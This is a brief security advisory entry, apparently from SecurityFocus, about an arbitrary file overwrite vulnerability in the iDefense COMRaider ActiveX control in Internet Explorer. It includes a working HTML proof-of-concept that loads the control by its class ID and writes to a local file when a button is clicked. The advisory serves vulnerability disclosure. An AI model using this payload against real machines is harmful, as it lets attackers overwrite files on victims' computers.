source: http://www.securityfocus.com/bid/33942/info

iDefense COMRaider ActiveX control is prone to a vulnerability that lets attackers overwrite arbitrary local files on the victim's computer in the context of the vulnerable application using the ActiveX control (typically Internet Explorer).

<HTML> <BODY> <object id=target classid="clsid:{9A077D0D-B4A6-4EC0-B6CF-98526DF589E4}"></object> <SCRIPT> function Poc() { arg1="c:\boo.txt" target.write(arg1) } </SCRIPT> <input language=JavaScript onclick=Poc() type=button value="Proof of Concept"> </BODY> </HTML> 